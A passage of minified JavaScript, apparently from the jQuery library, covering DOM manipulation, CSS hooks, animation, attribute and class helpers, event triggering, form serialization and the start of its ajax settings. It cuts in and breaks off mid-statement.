e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(C.cleanData(xe(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map((function(){return C.clone(this,e,t)}))},html:function(e){return z(this,(function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!De.test(e)&&!ye[(ve.exec(e)||["",""])[1].toLowerCase()]){e=C.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(C.cleanData(xe(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)}),null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,(function(t){var n=this.parentNode;C.inArray(this,e)<0&&(C.cleanData(xe(this)),n&&n.replaceChild(t,this))}),e)}}),C.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},(function(e,t){C.fn[e]=function(e){for(var n,r=[],i=C(e),o=i.length-1,s=0;s<=o;s++)n=s===o?this:this.clone(!0),C(i[s])[t](n),l.apply(r,n.get());return this.pushStack(r)}}));var Ie=new RegExp("^("+ne+")(?!px)[a-z%]+$","i"),We=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=n),t.getComputedStyle(e)},Fe=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},Be=new RegExp(ie.join("|"),"i");function $e(e,t,n){var r,i,o,s,a=e.style;return(n=n||We(e))&&(""!==(s=n.getPropertyValue(t)||n[t])||se(e)||(s=C.style(e,t)),!v.pixelBoxStyles()&&Ie.test(s)&&Be.test(t)&&(r=a.width,i=a.minWidth,o=a.maxWidth,a.minWidth=a.maxWidth=a.width=s,s=n.width,a.width=r,a.minWidth=i,a.maxWidth=o)),void 0!==s?s+"":s}function ze(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",oe.appendChild(l).appendChild(c);var e=n.getComputedStyle(c);r="1%"!==e.top,u=12===t(e.marginLeft),c.style.right="60%",s=36===t(e.right),i=36===t(e.width),c.style.position="absolute",o=12===t(c.offsetWidth/3),oe.removeChild(l),c=null}}function t(e){return Math.round(parseFloat(e))}var r,i,o,s,a,u,l=x.createElement("div"),c=x.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",v.clearCloneStyle="content-box"===c.style.backgroundClip,C.extend(v,{boxSizingReliable:function(){return e(),i},pixelBoxStyles:function(){return e(),s},pixelPosition:function(){return e(),r},reliableMarginLeft:function(){return e(),u},scrollboxSize:function(){return e(),o},reliableTrDimensions:function(){var e,t,r,i;return null==a&&(e=x.createElement("table"),t=x.createElement("tr"),r=x.createElement("div"),e.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="border:1px solid",t.style.height="1px",r.style.height="9px",r.style.display="block",oe.appendChild(e).appendChild(t).appendChild(r),i=n.getComputedStyle(t),a=parseInt(i.height,10)+parseInt(i.borderTopWidth,10)+parseInt(i.borderBottomWidth,10)===t.offsetHeight,oe.removeChild(e)),a}}))}();var Ue=["Webkit","Moz","ms"],Xe=x.createElement("div").style,Ve={};function Qe(e){var t=C.cssProps[e]||Ve[e];return t||(e in Xe?e:Ve[e]=function(e){for(var t=e[0].toUpperCase()+e.slice(1),n=Ue.length;n--;)if((e=Ue[n]+t)in Xe)return e}(e)||e)}var Ge=/^(none|table(?!-c[ea]).+)/,Ye=/^--/,Je={position:"absolute",visibility:"hidden",display:"block"},Ke={letterSpacing:"0",fontWeight:"400"};function Ze(e,t,n){var r=re.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function et(e,t,n,r,i,o){var s="width"===t?1:0,a=0,u=0;if(n===(r?"border":"content"))return 0;for(;s<4;s+=2)"margin"===n&&(u+=C.css(e,n+ie[s],!0,i)),r?("content"===n&&(u-=C.css(e,"padding"+ie[s],!0,i)),"margin"!==n&&(u-=C.css(e,"border"+ie[s]+"Width",!0,i))):(u+=C.css(e,"padding"+ie[s],!0,i),"padding"!==n?u+=C.css(e,"border"+ie[s]+"Width",!0,i):a+=C.css(e,"border"+ie[s]+"Width",!0,i));return!r&&o>=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-a-.5))||0),u}function tt(e,t,n){var r=We(e),i=(!v.boxSizingReliable()||n)&&"border-box"===C.css(e,"boxSizing",!1,r),o=i,s=$e(e,t,r),a="offset"+t[0].toUpperCase()+t.slice(1);if(Ie.test(s)){if(!n)return s;s="auto"}return(!v.boxSizingReliable()&&i||!v.reliableTrDimensions()&&D(e,"tr")||"auto"===s||!parseFloat(s)&&"inline"===C.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===C.css(e,"boxSizing",!1,r),(o=a in e)&&(s=e[a])),(s=parseFloat(s)||0)+et(e,t,n||(i?"border":"content"),o,r,s)+"px"}function nt(e,t,n,r,i){return new nt.prototype.init(e,t,n,r,i)}C.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=$e(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,s,a=Q(t),u=Ye.test(t),l=e.style;if(u||(t=Qe(a)),s=C.cssHooks[t]||C.cssHooks[a],void 0===n)return s&&"get"in s&&void 0!==(i=s.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=re.exec(n))&&i[1]&&(n=le(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(C.cssNumber[a]?"":"px")),v.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),s&&"set"in s&&void 0===(n=s.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,s,a=Q(t);return Ye.test(t)||(t=Qe(a)),(s=C.cssHooks[t]||C.cssHooks[a])&&"get"in s&&(i=s.get(e,!0,n)),void 0===i&&(i=$e(e,t,r)),"normal"===i&&t in Ke&&(i=Ke[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),C.each(["height","width"],(function(e,t){C.cssHooks[t]={get:function(e,n,r){if(n)return!Ge.test(C.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?tt(e,t,r):Fe(e,Je,(function(){return tt(e,t,r)}))},set:function(e,n,r){var i,o=We(e),s=!v.scrollboxSize()&&"absolute"===o.position,a=(s||r)&&"border-box"===C.css(e,"boxSizing",!1,o),u=r?et(e,t,r,a,o):0;return a&&s&&(u-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-et(e,t,"border",!1,o)-.5)),u&&(i=re.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=C.css(e,t)),Ze(0,n,u)}}})),C.cssHooks.marginLeft=ze(v.reliableMarginLeft,(function(e,t){if(t)return(parseFloat($e(e,"marginLeft"))||e.getBoundingClientRect().left-Fe(e,{marginLeft:0},(function(){return e.getBoundingClientRect().left})))+"px"})),C.each({margin:"",padding:"",border:"Width"},(function(e,t){C.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+ie[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(C.cssHooks[e+t].set=Ze)})),C.fn.extend({css:function(e,t){return z(this,(function(e,t,n){var r,i,o={},s=0;if(Array.isArray(t)){for(r=We(e),i=t.length;s<i;s++)o[t[s]]=C.css(e,t[s],!1,r);return o}return void 0!==n?C.style(e,t,n):C.css(e,t)}),e,t,arguments.length>1)}}),C.Tween=nt,nt.prototype={constructor:nt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||C.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(C.cssNumber[n]?"":"px")},cur:function(){var e=nt.propHooks[this.prop];return e&&e.get?e.get(this):nt.propHooks._default.get(this)},run:function(e){var t,n=nt.propHooks[this.prop];return this.options.duration?this.pos=t=C.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):nt.propHooks._default.set(this),this}},nt.prototype.init.prototype=nt.prototype,nt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=C.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){C.fx.step[e.prop]?C.fx.step[e.prop](e):1!==e.elem.nodeType||!C.cssHooks[e.prop]&&null==e.elem.style[Qe(e.prop)]?e.elem[e.prop]=e.now:C.style(e.elem,e.prop,e.now+e.unit)}}},nt.propHooks.scrollTop=nt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},C.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},C.fx=nt.prototype.init,C.fx.step={};var rt,it,ot=/^(?:toggle|show|hide)$/,st=/queueHooks$/;function at(){it&&(!1===x.hidden&&n.requestAnimationFrame?n.requestAnimationFrame(at):n.setTimeout(at,C.fx.interval),C.fx.tick())}function ut(){return n.setTimeout((function(){rt=void 0})),rt=Date.now()}function lt(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=ie[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function ct(e,t,n){for(var r,i=(ft.tweeners[t]||[]).concat(ft.tweeners["*"]),o=0,s=i.length;o<s;o++)if(r=i[o].call(n,t,e))return r}function ft(e,t,n){var r,i,o=0,s=ft.prefilters.length,a=C.Deferred().always((function(){delete u.elem})),u=function(){if(i)return!1;for(var t=rt||ut(),n=Math.max(0,l.startTime+l.duration-t),r=1-(n/l.duration||0),o=0,s=l.tweens.length;o<s;o++)l.tweens[o].run(r);return a.notifyWith(e,[l,r,n]),r<1&&s?n:(s||a.notifyWith(e,[l,1,0]),a.resolveWith(e,[l]),!1)},l=a.promise({elem:e,props:C.extend({},t),opts:C.extend(!0,{specialEasing:{},easing:C.easing._default},n),originalProperties:t,originalOptions:n,startTime:rt||ut(),duration:n.duration,tweens:[],createTween:function(t,n){var r=C.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;n<r;n++)l.tweens[n].run(1);return t?(a.notifyWith(e,[l,1,0]),a.resolveWith(e,[l,t])):a.rejectWith(e,[l,t]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,s;for(n in e)if(i=t[r=Q(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(s=C.cssHooks[r])&&"expand"in s)for(n in o=s.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);o<s;o++)if(r=ft.prefilters[o].call(l,e,c,l.opts))return m(r.stop)&&(C._queueHooks(l.elem,l.opts.queue).stop=r.stop.bind(r)),r;return C.map(c,ct,l),m(l.opts.start)&&l.opts.start.call(e,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),C.fx.timer(C.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l}C.Animation=C.extend(ft,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return le(n.elem,e,re.exec(t),n),n}]},tweener:function(e,t){m(e)?(t=e,e=["*"]):e=e.match(R);for(var n,r=0,i=e.length;r<i;r++)n=e[r],ft.tweeners[n]=ft.tweeners[n]||[],ft.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,s,a,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ue(e),v=J.get(e,"fxshow");for(r in n.queue||(null==(s=C._queueHooks(e,"fx")).unqueued&&(s.unqueued=0,a=s.empty.fire,s.empty.fire=function(){s.unqueued||a()}),s.unqueued++,p.always((function(){p.always((function(){s.unqueued--,C.queue(e,"fx").length||s.empty.fire()}))}))),t)if(i=t[r],ot.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||C.style(e,r)}if((u=!C.isEmptyObject(t))||!C.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=J.get(e,"display")),"none"===(c=C.css(e,"display"))&&(l?c=l:(pe([e],!0),l=e.style.display||l,c=C.css(e,"display"),pe([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===C.css(e,"float")&&(u||(p.done((function(){h.display=l})),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always((function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]}))),u=!1,d)u||(v?"hidden"in v&&(g=v.hidden):v=J.access(e,"fxshow",{display:l}),o&&(v.hidden=!g),g&&pe([e],!0),p.done((function(){for(r in g||pe([e]),J.remove(e,"fxshow"),d)C.style(e,r,d[r])}))),u=ct(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?ft.prefilters.unshift(e):ft.prefilters.push(e)}}),C.speed=function(e,t,n){var r=e&&"object"==typeof e?C.extend({},e):{complete:n||!n&&t||m(e)&&e,duration:e,easing:n&&t||t&&!m(t)&&t};return C.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in C.fx.speeds?r.duration=C.fx.speeds[r.duration]:r.duration=C.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){m(r.old)&&r.old.call(this),r.queue&&C.dequeue(this,r.queue)},r},C.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ue).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=C.isEmptyObject(e),o=C.speed(t,n,r),s=function(){var t=ft(this,C.extend({},e),o);(i||J.get(this,"finish"))&&t.stop(!0)};return s.finish=s,i||!1===o.queue?this.each(s):this.queue(o.queue,s)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&this.queue(e||"fx",[]),this.each((function(){var t=!0,i=null!=e&&e+"queueHooks",o=C.timers,s=J.get(this);if(i)s[i]&&s[i].stop&&r(s[i]);else for(i in s)s[i]&&s[i].stop&&st.test(i)&&r(s[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));!t&&n||C.dequeue(this,e)}))},finish:function(e){return!1!==e&&(e=e||"fx"),this.each((function(){var t,n=J.get(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=C.timers,s=r?r.length:0;for(n.finish=!0,C.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;t<s;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish}))}}),C.each(["toggle","show","hide"],(function(e,t){var n=C.fn[t];C.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(lt(t,!0),e,r,i)}})),C.each({slideDown:lt("show"),slideUp:lt("hide"),slideToggle:lt("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},(function(e,t){C.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}})),C.timers=[],C.fx.tick=function(){var e,t=0,n=C.timers;for(rt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||C.fx.stop(),rt=void 0},C.fx.timer=function(e){C.timers.push(e),C.fx.start()},C.fx.interval=13,C.fx.start=function(){it||(it=!0,at())},C.fx.stop=function(){it=null},C.fx.speeds={slow:600,fast:200,_default:400},C.fn.delay=function(e,t){return e=C.fx&&C.fx.speeds[e]||e,t=t||"fx",this.queue(t,(function(t,r){var i=n.setTimeout(t,e);r.stop=function(){n.clearTimeout(i)}}))},function(){var e=x.createElement("input"),t=x.createElement("select").appendChild(x.createElement("option"));e.type="checkbox",v.checkOn=""!==e.value,v.optSelected=t.selected,(e=x.createElement("input")).value="t",e.type="radio",v.radioValue="t"===e.value}();var pt,dt=C.expr.attrHandle;C.fn.extend({attr:function(e,t){return z(this,C.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each((function(){C.removeAttr(this,e)}))}}),C.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return void 0===e.getAttribute?C.prop(e,t,n):(1===o&&C.isXMLDoc(e)||(i=C.attrHooks[t.toLowerCase()]||(C.expr.match.bool.test(t)?pt:void 0)),void 0!==n?null===n?void C.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=C.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!v.radioValue&&"radio"===t&&D(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(R);if(i&&1===e.nodeType)for(;n=i[r++];)e.removeAttribute(n)}}),pt={set:function(e,t,n){return!1===t?C.removeAttr(e,n):e.setAttribute(n,n),n}},C.each(C.expr.match.bool.source.match(/\w+/g),(function(e,t){var n=dt[t]||C.find.attr;dt[t]=function(e,t,r){var i,o,s=t.toLowerCase();return r||(o=dt[s],dt[s]=i,i=null!=n(e,t,r)?s:null,dt[s]=o),i}}));var ht=/^(?:input|select|textarea|button)$/i,gt=/^(?:a|area)$/i;function vt(e){return(e.match(R)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function yt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(R)||[]}C.fn.extend({prop:function(e,t){return z(this,C.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each((function(){delete this[C.propFix[e]||e]}))}}),C.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&C.isXMLDoc(e)||(t=C.propFix[t]||t,i=C.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=C.find.attr(e,"tabindex");return t?parseInt(t,10):ht.test(e.nodeName)||gt.test(e.nodeName)&&e.href?0:-1}}},propFix:{for:"htmlFor",class:"className"}}),v.optSelected||(C.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),C.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],(function(){C.propFix[this.toLowerCase()]=this})),C.fn.extend({addClass:function(e){var t,n,r,i,o,s,a,u=0;if(m(e))return this.each((function(t){C(this).addClass(e.call(this,t,mt(this)))}));if((t=yt(e)).length)for(;n=this[u++];)if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){for(s=0;o=t[s++];)r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(a=vt(r))&&n.setAttribute("class",a)}return this},removeClass:function(e){var t,n,r,i,o,s,a,u=0;if(m(e))return this.each((function(t){C(this).removeClass(e.call(this,t,mt(this)))}));if(!arguments.length)return this.attr("class","");if((t=yt(e)).length)for(;n=this[u++];)if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){for(s=0;o=t[s++];)for(;r.indexOf(" "+o+" ")>-1;)r=r.replace(" "+o+" "," ");i!==(a=vt(r))&&n.setAttribute("class",a)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):m(e)?this.each((function(n){C(this).toggleClass(e.call(this,n,mt(this),t),t)})):this.each((function(){var t,i,o,s;if(r)for(i=0,o=C(this),s=yt(e);t=s[i++];)o.hasClass(t)?o.removeClass(t):o.addClass(t);else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))}))},hasClass:function(e){var t,n,r=0;for(t=" "+e+" ";n=this[r++];)if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var xt=/\r/g;C.fn.extend({val:function(e){var t,n,r,i=this[0];return arguments.length?(r=m(e),this.each((function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,C(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=C.map(i,(function(e){return null==e?"":e+""}))),(t=C.valHooks[this.type]||C.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))}))):i?(t=C.valHooks[i.type]||C.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(xt,""):null==n?"":n:void 0}}),C.extend({valHooks:{option:{get:function(e){var t=C.find.attr(e,"value");return null!=t?t:vt(C.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,s="select-one"===e.type,a=s?null:[],u=s?o+1:i.length;for(r=o<0?u:s?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!D(n.parentNode,"optgroup"))){if(t=C(n).val(),s)return t;a.push(t)}return a},set:function(e,t){for(var n,r,i=e.options,o=C.makeArray(t),s=i.length;s--;)((r=i[s]).selected=C.inArray(C.valHooks.option.get(r),o)>-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),C.each(["radio","checkbox"],(function(){C.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=C.inArray(C(e).val(),t)>-1}},v.checkOn||(C.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})})),v.focusin="onfocusin"in n;var bt=/^(?:focusinfocus|focusoutblur)$/,wt=function(e){e.stopPropagation()};C.extend(C.event,{trigger:function(e,t,r,i){var o,s,a,u,l,c,f,p,h=[r||x],g=d.call(e,"type")?e.type:e,v=d.call(e,"namespace")?e.namespace.split("."):[];if(s=p=a=r=r||x,3!==r.nodeType&&8!==r.nodeType&&!bt.test(g+C.event.triggered)&&(g.indexOf(".")>-1&&(v=g.split("."),g=v.shift(),v.sort()),l=g.indexOf(":")<0&&"on"+g,(e=e[C.expando]?e:new C.Event(g,"object"==typeof e&&e)).isTrigger=i?2:3,e.namespace=v.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+v.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=r),t=null==t?[e]:C.makeArray(t,[e]),f=C.event.special[g]||{},i||!f.trigger||!1!==f.trigger.apply(r,t))){if(!i&&!f.noBubble&&!y(r)){for(u=f.delegateType||g,bt.test(u+g)||(s=s.parentNode);s;s=s.parentNode)h.push(s),a=s;a===(r.ownerDocument||x)&&h.push(a.defaultView||a.parentWindow||n)}for(o=0;(s=h[o++])&&!e.isPropagationStopped();)p=s,e.type=o>1?u:f.bindType||g,(c=(J.get(s,"events")||Object.create(null))[e.type]&&J.get(s,"handle"))&&c.apply(s,t),(c=l&&s[l])&&c.apply&&G(s)&&(e.result=c.apply(s,t),!1===e.result&&e.preventDefault());return e.type=g,i||e.isDefaultPrevented()||f._default&&!1!==f._default.apply(h.pop(),t)||!G(r)||l&&m(r[g])&&!y(r)&&((a=r[l])&&(r[l]=null),C.event.triggered=g,e.isPropagationStopped()&&p.addEventListener(g,wt),r[g](),e.isPropagationStopped()&&p.removeEventListener(g,wt),C.event.triggered=void 0,a&&(r[l]=a)),e.result}},simulate:function(e,t,n){var r=C.extend(new C.Event,n,{type:e,isSimulated:!0});C.event.trigger(r,null,t)}}),C.fn.extend({trigger:function(e,t){return this.each((function(){C.event.trigger(e,t,this)}))},triggerHandler:function(e,t){var n=this[0];if(n)return C.event.trigger(e,t,n,!0)}}),v.focusin||C.each({focus:"focusin",blur:"focusout"},(function(e,t){var n=function(e){C.event.simulate(t,e.target,C.event.fix(e))};C.event.special[t]={setup:function(){var r=this.ownerDocument||this.document||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this.document||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}}));var Tt=n.location,Ct={guid:Date.now()},Et=/\?/;C.parseXML=function(e){var t,r;if(!e||"string"!=typeof e)return null;try{t=(new n.DOMParser).parseFromString(e,"text/xml")}catch(e){}return r=t&&t.getElementsByTagName("parsererror")[0],t&&!r||C.error("Invalid XML: "+(r?C.map(r.childNodes,(function(e){return e.textContent})).join("\n"):e)),t};var kt=/\[\]$/,St=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function Dt(e,t,n,r){var i;if(Array.isArray(t))C.each(t,(function(t,i){n||kt.test(e)?r(e,i):Dt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)}));else if(n||"object"!==T(t))r(e,t);else for(i in t)Dt(e+"["+i+"]",t[i],n,r)}C.param=function(e,t){var n,r=[],i=function(e,t){var n=m(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!C.isPlainObject(e))C.each(e,(function(){i(this.name,this.value)}));else for(n in e)Dt(n,e[n],t,i);return r.join("&")},C.fn.extend({serialize:function(){return C.param(this.serializeArray())},serializeArray:function(){return this.map((function(){var e=C.prop(this,"elements");return e?C.makeArray(e):this})).filter((function(){var e=this.type;return this.name&&!C(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!ge.test(e))})).map((function(e,t){var n=C(this).val();return null==n?null:Array.isArray(n)?C.map(n,(function(e){return{name:t.name,value:e.replace(St,"\r\n")}})):{name:t.name,value:n.replace(St,"\r\n")}})).get()}});var jt=/%20/g,Lt=/#.*$/,qt=/([?&])_=[^&]*/,_t=/^(.*?):[ \t]*([^\r\n]*)$/gm,Ot=/^(?:GET|HEAD)$/,Ht=/^\/\//,Pt={},Rt={},Mt="*/".concat("*"),It=x.createElement("a");function Wt(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(R)||[];if(m(n))for(;r=o[i++];)"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function Ft(e,t,n,r){var i={},o=e===Rt;function s(a){var u;return i[a]=!0,C.each(e[a]||[],(function(e,a){var l=a(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),s(l),!1)})),u}return s(t.dataTypes[0])||!i["*"]&&s("*")}function Bt(e,t){var n,r,i=C.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&C.extend(!0,e,r),e}It.href=Tt.href,C.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Tt.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(Tt.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Mt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":C.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Bt(Bt(e,C.ajaxSettings),t):Bt(C.ajaxSettings,e)},ajaxPrefilter:Wt(Pt),ajaxTransport:Wt(Rt),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var r,i,o,s,a,u,l,c,f,p,d=C.ajaxSetup({},t),h=d.context||d,g=d.context&&(h.nodeType||h.jquery)?C(h):C.event,v=C.Deferred(),m=C.Callbacks("once memory"),y=d.statusCode||{},b={},w={},T="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(l){if(!s)for(s={};t=_t.exec(o);)s[t[1].toLowerCase()+" "]=(s[t[1].toLowerCase()+" "]||[]).concat(t[2]);t=s[e.toLowerCase()+" "]}return null==t?null:t.join(", 